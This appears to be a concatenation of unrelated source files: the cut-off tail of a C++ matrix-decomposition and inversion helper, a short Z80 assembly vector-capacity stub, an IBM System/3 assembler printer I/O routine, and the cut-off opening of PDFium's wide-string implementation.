for (int k = 0; k < i; k++)
invertedMatrix->r<T>(i, j) -= ((invertedMatrix->t<T>(k, j) * inputMatrix->t<T>(i, k) / inputMatrix->t<T>(i, i)));
}
}
BUILD_SINGLE_TEMPLATE(template void invertLowerMatrix_, (NDArray* inputMatrix, NDArray* invertedMatrix);, FLOAT_TYPES);
void invertLowerMatrix(NDArray* inputMatrix, NDArray* invertedMatrix) {
BUILD_SINGLE_SELECTOR(inputMatrix->dataType(), invertLowerMatrix_, (inputMatrix, invertedMatrix), FLOAT_TYPES);
}
template <typename T>
static void _invertUpperMatrix(NDArray* inputMatrix, NDArray* invertedMatrix) {
int n = inputMatrix->rows();
invertedMatrix->setIdentity();
if (inputMatrix->isIdentityMatrix()) { // the inverse for I is I
return;
}
auto invertDiagonals = PRAGMA_THREADS_FOR {
for (auto i = start; i < stop; i += increment)
invertedMatrix->r<T>(i, i) /= inputMatrix->t<T>(i, i);
};
//PRAGMA_OMP_PARALLEL_FOR_IF(n > Environment::getInstance().elementwiseThreshold())
auto invertUpDiagonals = PRAGMA_THREADS_FOR {
for (auto i = start; i < stop; i += increment)
invertedMatrix->r<T>(i, i + 1) -= (inputMatrix->t<T>(i, i + 1) * invertedMatrix->t<T>(i + 1, i + 1) /
inputMatrix->t<T>(i, i));
};
samediff::Threads::parallel_for(invertDiagonals, 0, n, 1);
samediff::Threads::parallel_for(invertUpDiagonals, 0, n - 1, 1);
// PRAGMA_OMP_PARALLEL_FOR_SIMD
for (auto i = n - 2; i >= 0; i--) {
for (auto j = i + 2; j < n; j++)
for (auto k = i; k < n; k++)
invertedMatrix->r<T>(i, j) -= ((invertedMatrix->t<T>(k, j) * inputMatrix->t<T>(i, k) / inputMatrix->t<T>(i, i)));
}
}
BUILD_SINGLE_TEMPLATE(template void _invertUpperMatrix, (NDArray* inputMatrix, NDArray* invertedMatrix);, FLOAT_TYPES);
void invertUpperMatrix(NDArray* inputMatrix, NDArray* invertedMatrix) {
BUILD_SINGLE_SELECTOR(inputMatrix->dataType(), _invertUpperMatrix, (inputMatrix, invertedMatrix), FLOAT_TYPES);
}
template <typename T, typename I>
static NDArray lup_(LaunchContext *context, NDArray* input, NDArray* compound, NDArray* permutation) {
const int rowNum = input->rows();
const int columnNum = input->columns();
NDArray determinant = NDArrayFactory::create<T>(1.f, context);
NDArray compoundMatrix = *input; // copy
NDArray permutationMatrix(input, false, context); // has same shape as input and contiguous strides
permutationMatrix.setIdentity();
T pivotValue; // = T(0.0);
int pivot; // = -1;
int swapCount = 0;
for(int i = 0; i < rowNum; i++ ) {
pivotValue = T(0.0);
pivot = -1;
//PRAGMA_OMP_PARALLEL_FOR //_ARGS(firstprivate(pivot,pivotValue))
for(int rowCounter = i; rowCounter < rowNum; rowCounter++ ) {
if (sd::math::nd4j_abs(compoundMatrix.t<T>(rowCounter, i)) > pivotValue) {
pivotValue = sd::math::nd4j_abs(compoundMatrix.t<T>(rowCounter, i));
pivot = rowCounter;
}
}
if( pivotValue > DataTypeUtils::min<T>()) {
swapRows(&compoundMatrix, pivot, i);
swapRows(&permutationMatrix, pivot, i);
if (pivot != i)
swapCount++;
for( int j = i + 1; j < rowNum; j++ ) {
compoundMatrix.r<T>(j, i) /= compoundMatrix.t<T>(i, i);
//PRAGMA_OMP_PARALLEL_FOR
for( int k = i + 1; k < rowNum; k++ ) {
compoundMatrix.r<T>(j, k) -= compoundMatrix.t<T>(j, i) * compoundMatrix.t<T>(i, k);
}
}
}
}
for (int e = 0; e < rowNum; e++) {
// nd4j_printf("Compound matrix diag %i %f.\n", e, (*compoundMatrix)(e, e));
determinant *= compoundMatrix.e<T>(e, e);
}
if (swapCount % 2) determinant = -determinant;
if (compound != nullptr)
compound->assign(compoundMatrix);
if (permutation != nullptr) {
auto permutaionVector = NDArrayFactory::create('c', {rowNum}, DataTypeUtils::fromT<I>(), input->getContext());
for (auto i = 0; i < rowNum; i++) {
for (auto j = 0; j < columnNum; j++) {
if (permutationMatrix.t<T>(i, j) != 0) {
permutaionVector.template r<I>(i) = j;
}
}
}
if (permutationMatrix.isSameShape(permutation))
permutation->assign(permutationMatrix);
else if (permutation->isSameShape(permutaionVector)) {
permutation->assign(permutaionVector);
}
}
return determinant;
}
BUILD_DOUBLE_TEMPLATE(template NDArray lup_, (LaunchContext *context, NDArray* input, NDArray* output, NDArray* permutation), FLOAT_TYPES, INDEXING_TYPES);
/*
* lu decomposition with naive algorithm with partial pivoting
* */
template <typename T, typename I>
static I argmaxCol(I column, T* compoundBuffer, Nd4jLong const* compoundShape) {
auto rowNum = shape::sizeAt(compoundShape, 0);
Nd4jLong xInitial[] = {column, column};
auto xInitialIndex = shape::getOffset(compoundShape, xInitial, 0);
auto maxValue = T(0); //sd::math::nd4j_abs(compoundBuffer[xInitialIndex]);
auto result = -1;
//auto loop = PRAGMA_THREADS_FOR {
auto start = column;
auto stop = rowNum;
auto increment = 1;
for (auto rowCounter = start; rowCounter < stop; rowCounter++) {
Nd4jLong xPos[] = {rowCounter, column};
auto xIndex = shape::getOffset(compoundShape, xPos, 0);
if (sd::math::nd4j_abs(compoundBuffer[xIndex]) > maxValue) {
maxValue = sd::math::nd4j_max(maxValue, sd::math::nd4j_abs(compoundBuffer[xIndex]));
result = rowCounter;
}
}
//};
//samediff::Threads::parallel_for(loop, column, rowNum, 1);
return result;
}
template <typename T>
void processColumns(int currentRow, int rowNum, T* compoundBuf, Nd4jLong const* compoundShape) {
Nd4jLong xDiag[] = {currentRow, currentRow};
auto diagIndex = shape::getOffset(compoundShape, xDiag, 0);
auto loop = PRAGMA_THREADS_FOR {
for (auto j = start; j < stop; j++) {
Nd4jLong xRow[] = {j, currentRow};
auto rowIndex = shape::getOffset(compoundShape, xRow, 0);
compoundBuf[rowIndex] /= compoundBuf[diagIndex]; //output->t<T>(i, i);
for (int k = currentRow + 1; k < rowNum; k++) {
Nd4jLong yRow[] = {j, k};
Nd4jLong yCol[] = {currentRow, k};
auto rowIndexY = shape::getOffset(compoundShape, yRow, 0);
auto colIndex = shape::getOffset(compoundShape, yCol, 0);
compoundBuf[rowIndexY] -= compoundBuf[rowIndex] * compoundBuf[colIndex];
}
}
};
samediff::Threads::parallel_tad(loop, currentRow + 1, rowNum, 1);
}
template <typename T>
static void doolitleLU(LaunchContext* context, NDArray* compound, Nd4jLong rowNum) {
auto input = compound->dup();
compound->nullify();
// Decomposing matrix into Upper and Lower
// triangular matrix
for (auto i = 0; i < rowNum; i++) {
// Upper Triangular
for (auto k = i; k < rowNum; k++) {
// Summation of L(i, j) * U(j, k)
int sum = 0;
for (int j = 0; j < i; j++)
sum += compound->t<T>(i,j) * compound->t<T>(j,k);
// Evaluating U(i, k)
compound->r<T>(i, k) = input.t<T>(i, k) - sum;
}
// Lower Triangular
for (int k = i + 1; k < rowNum; k++) {
// Summation of L(k, j) * U(j, i)
int sum = 0;
for (int j = 0; j < i; j++)
sum += compound->t<T>(k,j) * compound->t<T>(j, i);
// Evaluating L(k, i)
compound->r<T>(k, i) = (input.t<T>(k, i) - sum) / compound->t<T>(i,i);
}
}
}
template <typename T, typename I>
static void luNN_(LaunchContext *context, NDArray* compound, NDArray* permutation, Nd4jLong rowNum) {
//const int rowNum = compound->rows();
// const int columnNum = output->columns();
if (permutation) { // LUP algorithm
permutation->linspace(0);
auto permutationBuf = permutation->bufferAsT<I>(); //dataBuffer()->primaryAsT<I>();
auto compoundBuf = compound->bufferAsT<T>();
auto compoundShape = compound->shapeInfo();
auto permutationShape = permutation->shapeInfo();
for (auto i = 0; i < rowNum - 1; i++) {
auto pivotIndex = argmaxCol(i, compoundBuf, compoundShape);
if (pivotIndex < 0) {
throw std::runtime_error("helpers::luNN_: input matrix is singular.");
}
math::nd4j_swap(permutationBuf[shape::getIndexOffset(i, permutationShape)],
permutationBuf[shape::getIndexOffset(pivotIndex, permutationShape)]);
swapRows(compoundBuf, compoundShape, i, pivotIndex);
processColumns(i, rowNum, compoundBuf, compoundShape);
}
}
else { // Doolitle algorithm with LU decomposition
doolitleLU<T>(context, compound, rowNum);
}
}
template <typename T, typename I>
static void lu_(LaunchContext * context, NDArray* input, NDArray* output, NDArray* permutationVectors) {
auto n = input->sizeAt(-1);
output->assign(input); // fill up output tensor with zeros
ResultSet outputs = output->allTensorsAlongDimension({-2, -1});
ResultSet permutations;
if (permutationVectors)
permutations = permutationVectors->allTensorsAlongDimension({-1});
auto loop = PRAGMA_THREADS_FOR {
for (auto i = start; i < stop; i++) {
luNN_<T, I>(context, outputs.at(i), permutationVectors?permutations.at(i):nullptr, n);
}
};
samediff::Threads::parallel_for(loop, 0, outputs.size(), 1);
}
void lu(LaunchContext *context, NDArray* input, NDArray* output, NDArray* permutation) {
BUILD_DOUBLE_SELECTOR(input->dataType(), permutation?permutation->dataType():DataType::INT32, lu_, (context, input, output, permutation), FLOAT_TYPES, INDEXING_TYPES);
}
// BUILD_DOUBLE_TEMPLATE(template NDArray lu_, (LaunchContext *context, NDArray* input, NDArray* output, NDArray* permutation), FLOAT_TYPES, INDEXING_TYPES);
template <typename T>
static int determinant_(LaunchContext *context, NDArray* input, NDArray* output) {
Nd4jLong n = input->sizeAt(-1);
Nd4jLong n2 = n * n;
auto matrix = NDArrayFactory::create(input->ordering(), {n, n}, input->dataType(), context); //, block.getWorkspace());
for (int e = 0; e < output->lengthOf(); e++) {
for (int k = e * n2, row = 0; k < (e + 1) * n2; ++k, ++row)
matrix.p(row, input->e<T>(k));
output->p(e, lup_<T, int>(context, &matrix, (NDArray*)nullptr, (NDArray*)nullptr));
}
return Status::OK();
}
int determinant(sd::LaunchContext * context, NDArray* input, NDArray* output) {
BUILD_SINGLE_SELECTOR(input->dataType(), return determinant_, (context, input, output), FLOAT_TYPES);
}
template <typename T>
int logAbsDeterminant_(LaunchContext *context, NDArray* input, NDArray* output) {
Nd4jLong n = input->sizeAt(-1);
Nd4jLong n2 = n * n;
NDArray matrix = NDArrayFactory::create(input->ordering(), {n, n}, input->dataType(), context); //, block.getWorkspace());
for (int e = 0; e < output->lengthOf(); e++) {
for (int k = e * n2, row = 0; k < (e + 1) * n2; ++k, ++row) {
matrix.p(row, input->e<T>(k));
}
NDArray det = lup_<T, int>(context, &matrix, (NDArray*)nullptr, (NDArray*)nullptr);
if (det.e<T>(0) != 0.f)
output->p(e, sd::math::nd4j_log<T,T>(sd::math::nd4j_abs(det.t<T>(0))));
}
return ND4J_STATUS_OK;
}
int logAbsDeterminant(sd::LaunchContext * context, NDArray* input, NDArray* output) {
BUILD_SINGLE_SELECTOR(input->dataType(), return logAbsDeterminant_, (context, input, output), FLOAT_TYPES);
}
template <typename T>
static int inverse_(LaunchContext *context, NDArray* input, NDArray* output) {
auto n = input->sizeAt(-1);
auto n2 = n * n;
auto totalCount = output->lengthOf() / n2;
output->assign(0.f); // fill up output tensor with zeros
auto matrix = NDArrayFactory::create('c', {n, n}, DataTypeUtils::fromT<T>(), context); //, block.getWorkspace());
auto compound = NDArrayFactory::create('c', {n, n}, DataTypeUtils::fromT<T>(), context); //, block.getWorkspace());
auto permutation = NDArrayFactory::create('c', {n, n}, DataTypeUtils::fromT<T>(), context);
auto lowerMatrix = NDArrayFactory::create('c', {n, n}, DataTypeUtils::fromT<T>(), context);
auto upperMatrix = NDArrayFactory::create('c', {n, n}, DataTypeUtils::fromT<T>(), context);
for (int e = 0; e < totalCount; e++) {
if (e)
matrix.assign(0.f);
for (int k = e * n2, row = 0; k < (e + 1) * n2; k++) {
matrix.p(row++, input->e<T>(k));
}
T det = lup_<T, int>(context, &matrix, &compound, &permutation).template e<T>(0);
// FIXME: and how this is going to work on float16?
if (sd::math::nd4j_abs<T>(det) < T(0.000001)) {
nd4j_printf("matrix_inverse: The matrix %i has no inverse due determinant is %lf. Quiting...\n", e, det);
matrix.printIndexedBuffer("Wrong matrix");
return ND4J_STATUS_VALIDATION;
}
lowerMatrix.setIdentity(); // set up U to identity matrix
for (int k = 1; k < n; k++) { // and then put all values under main diagonal on to it
for (int j = 0; j < k; j++)
lowerMatrix.template r<T>(k, j) = compound.template t<T>(k, j);
}
upperMatrix.setIdentity(); // set up U to identity matrix
for (int k = 0; k < n; k++) { // and then put all values under main diagonal on to it
for (int j = k; j < n; j++)
upperMatrix.template r<T>(k, j) = compound.template t<T>(k, j);
}
invertUpperMatrix(&upperMatrix, &matrix);
invertLowerMatrix(&lowerMatrix, &upperMatrix);
sd::MmulHelper::mmul(&matrix, &upperMatrix, &compound, 1.0, 0.0);
sd::MmulHelper::mmul(&compound, &permutation, &matrix, 1.0, 0.0);
for (int k = e * n2, row = 0; k < (e + 1) * n2; k++) {
output->r<T>(k) = matrix.template t<T>(row++);
}
}
return Status::OK();
}
template <typename T>
static int lowerInverse_(LaunchContext *context, NDArray* input, NDArray* output) {
auto n = input->sizeAt(-1);
auto n2 = n * n;
auto totalCount = output->lengthOf() / n2;
output->assign(0.f); // fill up output tensor with zeros
auto matrix = NDArrayFactory::create('c', {n, n}, DataTypeUtils::fromT<T>(), context); //, block.getWorkspace());
auto compound = NDArrayFactory::create('c', {n, n}, DataTypeUtils::fromT<T>(), context); //, block.getWorkspace());
auto permutation = NDArrayFactory::create('c', {n, n}, DataTypeUtils::fromT<T>(), context);
auto lowerMatrix = NDArrayFactory::create('c', {n, n}, DataTypeUtils::fromT<T>(), context);
auto upperMatrix = NDArrayFactory::create('c', {n, n}, DataTypeUtils::fromT<T>(), context);
// auto batchLoop = PRAGMA_THREADS_FOR {
for (int e = 0; e < totalCount; e++) {
if (e)
matrix.assign(0.f);
for (int k = e * n2, row = 0; k < (e + 1) * n2; k++) {
matrix.p(row++, input->e<T>(k));
}
T det = T(1.f);
for (auto i = 0; i < n; i++) {
det *= matrix. template t<T>(i, i);
}
// FIXME: and how this is going to work on float16?
if (sd::math::nd4j_abs<T>(det) < T(0.000001)) {
nd4j_printf("matrix_inverse: The matrix %i has no inverse due determinant is %lf. Quiting...\n", e, det);
matrix.printIndexedBuffer("Wrong matrix");
return ND4J_STATUS_VALIDATION;
}
lowerMatrix.nullify();
invertLowerMatrix(&matrix, &lowerMatrix);
for (int k = e * n2, row = 0; k < (e + 1) * n2; k++) {
output->r<T>(k) = lowerMatrix.template t<T>(row++);
}
}
return Status::OK();
}
template <typename T>
static int upperInverse_(LaunchContext *context, NDArray* input, NDArray* output) {
auto n = input->sizeAt(-1);
auto n2 = n * n;
output->nullify(); // fill up output tensor with zeros
// auto matrix = NDArrayFactory::create('c', {n, n}, DataTypeUtils::fromT<T>(), context); //, block.getWorkspace());
// auto lowerMatrix = NDArrayFactory::create('c', {n, n}, DataTypeUtils::fromT<T>(), context);
// auto upperMatrix = NDArrayFactory::create('c', {n, n}, DataTypeUtils::fromT<T>(), context);
auto inputPart = input->allTensorsAlongDimension({-2, -1});
auto outputPart = output->allTensorsAlongDimension({-2, -1});
auto totalCount = outputPart.size(); //lengthOf() / n2;
for (int e = 0; e < totalCount; e++) {
invertUpperMatrix(inputPart.at(e), outputPart.at(e));
}
return Status::OK();
}
int inverse(sd::LaunchContext * context, NDArray* input, NDArray* output) {
BUILD_SINGLE_SELECTOR(input->dataType(), return inverse_, (context, input, output), FLOAT_TYPES);
}
int lowerInverseFunctor(sd::LaunchContext * context, NDArray* input, NDArray* output) {
BUILD_SINGLE_SELECTOR(input->dataType(), return lowerInverse_, (context, input, output), FLOAT_TYPES);
}
int upperInverseFunctor(sd::LaunchContext * context, NDArray* input, NDArray* output) {
BUILD_SINGLE_SELECTOR(input->dataType(), return upperInverse_, (context, input, output), FLOAT_TYPES);
}
template <typename T>
static bool checkCholeskyInput_(sd::LaunchContext * context, NDArray const* input) {
//std::unique_ptr<NDArray> matrix(NDArrayFactory::create_('c', {n, n}, input->dataType())); //, block.getWorkspace());
ResultSet lastMatrixList = input->allTensorsAlongDimension({input->rankOf() - 2, input->rankOf()-1});
for (size_t i = 0; i < lastMatrixList.size(); i++) {
auto thisMatrix = lastMatrixList.at(i);
// check for symmetric
for (Nd4jLong r = 0; r < thisMatrix->rows(); r++)
for (Nd4jLong c = 0; c < thisMatrix->columns(); c++)
if (sd::math::nd4j_abs(thisMatrix->e<T>(r, c) - lastMatrixList.at(i)->e<T>(c,r)) > DataTypeUtils::min<T>()) return false;
NDArray output = NDArrayFactory::create<T>(0., context);
if (ND4J_STATUS_OK != determinant(context, thisMatrix, &output)) return false;
if (output.e<T>(0) <= T(0)) return 0;
NDArray reversedMatrix(*thisMatrix);
if (ND4J_STATUS_OK != inverse(context, thisMatrix, &reversedMatrix)) return false;
if (ND4J_STATUS_OK != determinant(context, &reversedMatrix, &output)) return false;
if (output.e<T>(0) <= T(0)) return 0;
}
return true;
}
bool checkCholeskyInput(sd::LaunchContext * context, NDArray const* input) {
BUILD_SINGLE_SELECTOR(input->dataType(), return checkCholeskyInput_, (context, input), FLOAT_TYPES);
}
template <typename T>
int cholesky_(LaunchContext *context, NDArray* input, NDArray* output, bool inplace) {
auto n = input->sizeAt(-1);
auto n2 = n * n;
auto totalCount = output->lengthOf() / n2;
if (!inplace)
output->assign(0.f); // fill up output tensor with zeros only inplace=false
std::unique_ptr<NDArray> matrix(NDArrayFactory::create_('c', {n, n}, input->dataType(), context)); //, block.getWorkspace());
std::unique_ptr<NDArray> lowerMatrix(NDArrayFactory::create_('c',{n, n}, input->dataType(), context));
for (int e = 0; e < totalCount; e++) {
// fill up matrix
for (int k = e * n2, l = 0; k < (e + 1) * n2; k++) {
matrix->p(l++, input->e<T>(k));
}
//if (e) // from the second loop need to zero matrix
lowerMatrix->assign(0.f);
for (Nd4jLong col = 0; col < n; col++) {
for (Nd4jLong row = 0; row < col; row++) {
T rowSum = 0;
for (Nd4jLong k = 0; k < row; ++k)
rowSum += (lowerMatrix->e<T>(col, k) * lowerMatrix->e<T>(row, k));
lowerMatrix->p(col, row, (matrix->e<T>(row, col) - rowSum) / lowerMatrix->e<double>(row, row));
}
T diagonalSum = 0;
for (Nd4jLong k = 0; k < col; ++k)
diagonalSum += lowerMatrix->e<T>(col, k) * lowerMatrix->e<T>(col, k);
lowerMatrix->p(col, col, sd::math::nd4j_sqrt<T, T>(matrix->e<T>(col, col) - diagonalSum));
//nd4j_printf("%i: ", col);
//lowerMatrix->printIndexedBuffer("Lower matrix");
}
for (int k = e * n2, l = 0; k < (e + 1) * n2; k++) {
output->p(k, lowerMatrix->e<T>(l++));
}
}
return ND4J_STATUS_OK;
}
int cholesky(sd::LaunchContext * context, NDArray* input, NDArray* output, bool inplace) {
BUILD_SINGLE_SELECTOR(input->dataType(), return cholesky_, (context, input, output, inplace), FLOAT_TYPES);
}
template <typename T>
int logdetFunctor_(LaunchContext *context, NDArray* input, NDArray* output) {
auto tempOutput = input->dup();
int res = cholesky_<T>(context, input, &tempOutput, false);
if (res != ND4J_STATUS_OK)
return res;
auto n = input->sizeAt(-1);
auto totalCount = output->lengthOf();
std::vector<T> d(n);
ResultSet matricies = tempOutput.allTensorsAlongDimension({input->rankOf()-2, input->rankOf() - 1});
for (Nd4jLong e = 0; e < totalCount; e++) {
for (size_t i = 0; i < n; ++i)
output->r<T>(e) += sd::math::nd4j_log<T,T>(sd::math::nd4j_pow<T,T,T>(matricies.at(e)->t<T>(i, i), T(2)));
}
return ND4J_STATUS_OK;
}
int logdetFunctor(sd::LaunchContext * context, NDArray* input, NDArray* output) {
BUILD_SINGLE_SELECTOR(input->dataType(), return logdetFunctor_, (context, input, output), FLOAT_TYPES);
}
int lup(sd::LaunchContext * context, NDArray* input, NDArray* compound, NDArray* permutation) {
BUILD_DOUBLE_SELECTOR(input->dataType(), permutation->dataType(), lup_, (context, input, compound, permutation), FLOAT_NATIVE, INDEXING_TYPES);
return Status::OK();
}
}
}
}
|
; ===============================================================
; Feb 2014
; ===============================================================
;
; size_t w_vector_capacity(w_vector_t *v)
;
; Return the amount of space allocated for the vector's array in words.
;
; ===============================================================
SECTION code_clib
SECTION code_adt_w_vector
PUBLIC asm_w_vector_capacity
EXTERN l_readword_2_hl
defc asm_w_vector_capacity = l_readword_2_hl - 4
; enter : hl = vector *v
;
; exit : hl = capacity in words
;
; uses : a, hl
|
***********************************************************
*
* Printer I/O (DTFPR)
*
* For use by assembler programs (not RPG).
*
* Recreated from old listings & disassembled object
* code.
*
* Comments are mine based on my interpretation of
* the code.
*
* Stephen W. Boyd
* June 2015
*
***********************************************************
P?IO START 0
USING *,0
*PRNT DTFPR BKSZ=132,
* CNTL=YES,
* PRAD=1,
* PROV=FOF,
* FONT=63
* PRINT IOCS (CARD)
ENTRY PRNT
ENTRY B?SH
EXTRN FOF
PRNT BC 15,B?OP Open
BC 15,B?CL Close
BC 15,* Get
BC 15,B?CN Cntrl
*
* Put - Address to user buffer passed as 2 bytes immediately
* following the BAL instruction
*
BAL 15,B?VE Wait until prev. I/O complete
LH 15,0(,14) Get user buffer address
MVC X'0080'(132),0(15) Move to printer image area
B?SH MVI B?SE+1,0 Set spacing (zero first time)
MVI B?SH+1,1 Set future spacing (PRAD)
MVC B?K+3(1),B?X1 Set command in XIOF
B?IS MVC X'0050'(1),B?SE+1 Move spacing to BCW
BAL 15,B?XF Go issue the I/O
B?D BC 15,2(,14) Return if no overflow
MVI B?D+1,X'F0' Reset overflow flag
AH 14,B?H Bump past parameter
BC 15,FOF Go to user overflow routine
B?F BAL 15,B?VE Wait until prev. I/O complete
MVI B?K+3,19 Set XIOF to control command
BC 15,B?IS Go issue the I/O
*
* Control - Parameters passed in 4 bytes immediately following the
* BAL instruction as:
*
* ffba
*
* where:
*
* ff = the function (SP for space or SK for skip)
* b = # lines before (blank if not given)
* a = # lines after (blank if not given)
*
B?CN CLI 3(14),64 Space after = ' '?
BC 8,B?O6 Yes
MVC B?SH+1(1),3(14) No, set spacing for next PUT
CLI 1(14),C'P' Are we spacing or skipping?
BC 8,B?O6 Spacing
OI B?SH+1,8 Set skipping bit
B?O6 TM 2(14),63 Space before = 0?
BC 8,4(,14) Yes
MVC B?SE+1(1),2(14) Set the spacing for control cmd
CLI 1(14),C'P' Are we spacing or skipping?
BC 8,B?G Spacing
OI B?SE+1,8 Set the skipping bit
B?G AH 14,B?H Adjust rtn addr to be = PUT
BC 15,B?F Go issue a control command
*
* Open
*
B?OP MVI X'0080',64 Blank printer image area
MVC X'0081'(131),X'0080'
MVI B?SH+1,1 Set spacing (PRAD)
MVI B?C+1,X'F0' Make B?C unconditional
MVI B?D+1,X'F0' Make B?D unconditional
BC 15,0(,14) Return
*
* Close
*
B?CL BAL 15,B?VE Wait for prev. I/O to complete
BC 15,0(,14) Return
*
* Error
*
B?E TIO B?DI+5,3 Still busy? Status to HPR
BC 3,B?E Yes, try again
TM B?DI+5,X'FB'
BC 8,B?C
B?ER TM B?DI+5,1
BC 8,*+8
MVI B?C+1,0 Make B?C NOP
B?M TM B?DI+5,2
BC 8,B?I
MVI B?D+1,0 Make B?D NOP
B?I TM B?DI+5,X'F8'
BC 8,0(,15)
NI B?DI+5,X'FC'
B?DI MSG X'6300'
BC 15,0(,15)
B?C BC 15,B?VX
CLI X'0050',15
BC 6,B?VX
MVI B?C+1,X'F0' Make B?C unconditional
MSG X'6301'
B?VX BC 15,0 Branch to saved return addr
*
* Verify
*
B?VE STH 15,B?VX+2 Save return addr
BAL 15,B?E Check for busy / error
BAL 15,B?XF There was an error, retry I/O
BC 15,B?VE+4 Loop
B?XF STH 15,B?N+2 Save the return addr
B?K XIOF X'0000',3 Issue the I/O
B?N BC 8,0 Branch to saved return addr
TIO B?DI+5,3 Get the I/O status
B?L BAL 15,B?ER Check for errors
BC 15,B?K There was an error, retry I/O
B?SE DC X'00'
DC X'00'
B?H DC Y(2) Offset to actual return address
B?X1 DC YL1(0+17) Inhibit intr + read
ORG *
DC C'4'
END
|
// Copyright 2014 PDFium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
// Original code copyright 2014 Foxit Software Inc. http://www.foxitsoftware.com
#include "core/fxcrt/widestring.h"
#include <stddef.h>
#include <algorithm>
#include <cctype>
#include <cwctype>
#include "core/fxcrt/fx_codepage.h"
#include "core/fxcrt/fx_extension.h"
#include "core/fxcrt/fx_safe_types.h"
#include "core/fxcrt/string_pool_template.h"
#include "third_party/base/numerics/safe_math.h"
#include "third_party/base/stl_util.h"
template class fxcrt::StringDataTemplate<wchar_t>;
template class fxcrt::StringViewTemplate<wchar_t>;
template class fxcrt::StringPoolTemplate<WideString>;
template struct std::hash<WideString>;
#define FORCE_ANSI 0x10000
#define FORCE_UNICODE 0x20000
#define FORCE_INT64 0x40000
namespace {
constexpr wchar_t kWideTrimChars[] = L"\x09\x0a\x0b\x0c\x0d\x20";
const wchar_t* FX_wcsstr(const wchar_t* haystack,
int haystack_len,
const wchar_t* needle,
int needle_len) {
if (needle_len > haystack_len || needle_len == 0) {
return nullptr;
}
const wchar_t* end_ptr = haystack + haystack_len - needle_len;
while (haystack <= end_ptr) {
int i = 0;
while (1) {
if (haystack[i] != needle[i]) {
break;
}
i++;
if (i == needle_len) {
return haystack;
}
}
haystack++;
}
return nullptr;
}
Optional<size_t> GuessSizeForVSWPrintf(const wchar_t* pFormat,
va_list argList) {
size_t nMaxLen = 0;
for (const wchar_t* pStr = pFormat; *pStr != 0; pStr++) {
if (*pStr != '%' || *(pStr = pStr + 1) == '%') {
++nMaxLen;
continue;
}
int nItemLen = 0;
int nWidth = 0;
for (; *pStr != 0; pStr++) {
if (*pStr == '#') {
nMaxLen += 2;
} else if (*pStr == '*') {
nWidth = va_arg(argList, int);
} else if (*pStr != '-' && *pStr != '+' && *pStr != '0' && *pStr != ' ') {
break;
}
}
if (nWidth == 0) {
nWidth = FXSYS_wtoi(pStr);
while (FXSYS_IsDecimalDigit(*pStr))
++pStr;
}
if (nWidth < 0 || nWidth > 128 * 1024)
return pdfium::nullopt;
int nPrecision = 0;
if (*pStr == '.') {
pStr++;
if (*pStr == '*') {
nPrecision = va_arg(argList, int);
pStr++;
} else {
nPrecision = FXSYS_wtoi(pStr);
while (FXSYS_IsDecimalDigit(*pStr))
++pStr;
}
}
if (nPrecision < 0 || nPrecision > 128 * 1024)
return pdfium::nullopt;
int nModifier = 0;
if (*pStr == L'I' && *(pStr + 1) == L'6' && *(pStr + 2) == L'4') {
pStr += 3;
nModifier = FORCE_INT64;
} else {
switch (*pStr) {
case 'h':
nModifier = FORCE_ANSI;
pStr++;
break;
case 'l':
nModifier = FORCE_UNICODE;
pStr++;
break;
case 'F':
case 'N':
case 'L':
pStr++;
break;
}
}
switch (*pStr | nModifier) {
case 'c':
case 'C':
nItemLen = 2;
va_arg(argList, int);
break;
case 'c' | FORCE_ANSI:
case 'C' | FORCE_ANSI:
nItemLen = 2;
va_arg(argList, int);
break;
case 'c' | FORCE_UNICODE:
case 'C' | FORCE_UNICODE:
nItemLen = 2;
va_arg(argList, int);
break;
case 's': {
const wchar_t* pstrNextArg = va_arg(argList, const wchar_t*);
if (pstrNextArg) {
nItemLen = wcslen(pstrNextArg);
if (nItemLen < 1) {
nItemLen = 1;
}
} else {
nItemLen = 6;
}
} break;
case 'S': {
const char* pstrNextArg = va_arg(argList, const char*);
if (pstrNextArg) {
nItemLen = strlen(pstrNextArg);
if (nItemLen < 1) {
nItemLen = 1;
}
} else {
nItemLen = 6;
}
} break;
case 's' | FORCE_ANSI:
case 'S' | FORCE_ANSI: {
const char* pstrNextArg = va_arg(argList, const char*);
if (pstrNextArg) {
nItemLen = strlen(pstrNextArg);
if (nItemLen < 1) {
nItemLen = 1;
}
} else {
nItemLen = 6;
}
} break;
case 's' | FORCE_UNICODE:
case 'S' | FORCE_UNICODE: {
const wchar_t* pstrNextArg = va_arg(argList, wchar_t*);
if (pstrNextArg) {
nItemLen = wcslen(pstrNextArg);
if (nItemLen < 1) {
nItemLen = 1;
}
} else {
nItemLen = 6;
}
} break;
}
if (nItemLen != 0) {
if (nPrecision != 0 && nItemLen > nPrecision) {
nItemLen = nPrecision;
}
if (nItemLen < nWidth) {
nItemLen = nWidth;
}
} else {
switch (*pStr) {
case 'd':
case 'i':
case 'u':
case 'x':
case 'X':
case 'o':
if (nModifier & FORCE_INT64) {
va_arg(argList, int64_t);
} else {
va_arg(argList, int);
}
nItemLen = 32;
if (nItemLen < nWidth + nPrecision) {
nItemLen = nWidth + nPrecision;
}
break;
case 'a':
case 'A':
case 'e':
case 'E':
case 'g':
case 'G':
va_arg(argList, double);
nItemLen = 128;
if (nItemLen < nWidth + nPrecision) {
nItemLen = nWidth + nPrecision;
}
break;
case 'f':
if (nWidth + nPrecision > 100) {
nItemLen = nPrecision + nWidth + 128;
} else {
double f;
char pszTemp[256];
f = va_arg(argList, double);
FXSYS_snprintf(pszTemp, sizeof(pszTemp), "%*.*f", nWidth,
nPrecision + 6, f);
nItemLen = strlen(pszTemp);
}
break;
case 'p':
va_arg(argList, void*);
nItemLen = 32;
if (nItemLen < nWidth + nPrecision) {
nItemLen = nWidth + nPrecision;
}
break;
case 'n':
va_arg(argList, int*);
break;
}
}
nMaxLen += nItemLen;
}
nMaxLen += 32; // Fudge factor.
return nMaxLen;
}
// Returns string unless we ran out of space.
Optional<WideString> TryVSWPrintf(size_t size,
const wchar_t* pFormat,
va_list argList) {
if (!size)
return {};
WideString str;
{
// Span's lifetime must end before ReleaseBuffer() below.
pdfium::span<wchar_t> buffer = str.GetBuffer(size);
// In the following two calls, there's always space in the WideString
// for a terminating NUL that's not included in the span.
// For vswprintf(), MSAN won't untaint the buffer on a truncated write's
// -1 return code even though the buffer is written. Probably just as well
// not to trust the vendor's implementation to write anything anyways.
// See https://crbug.com/705912.
memset(buffer.data(), 0, (size + 1) * sizeof(wchar_t));
int ret = vswprintf(buffer.data(), size + 1, pFormat, argList);
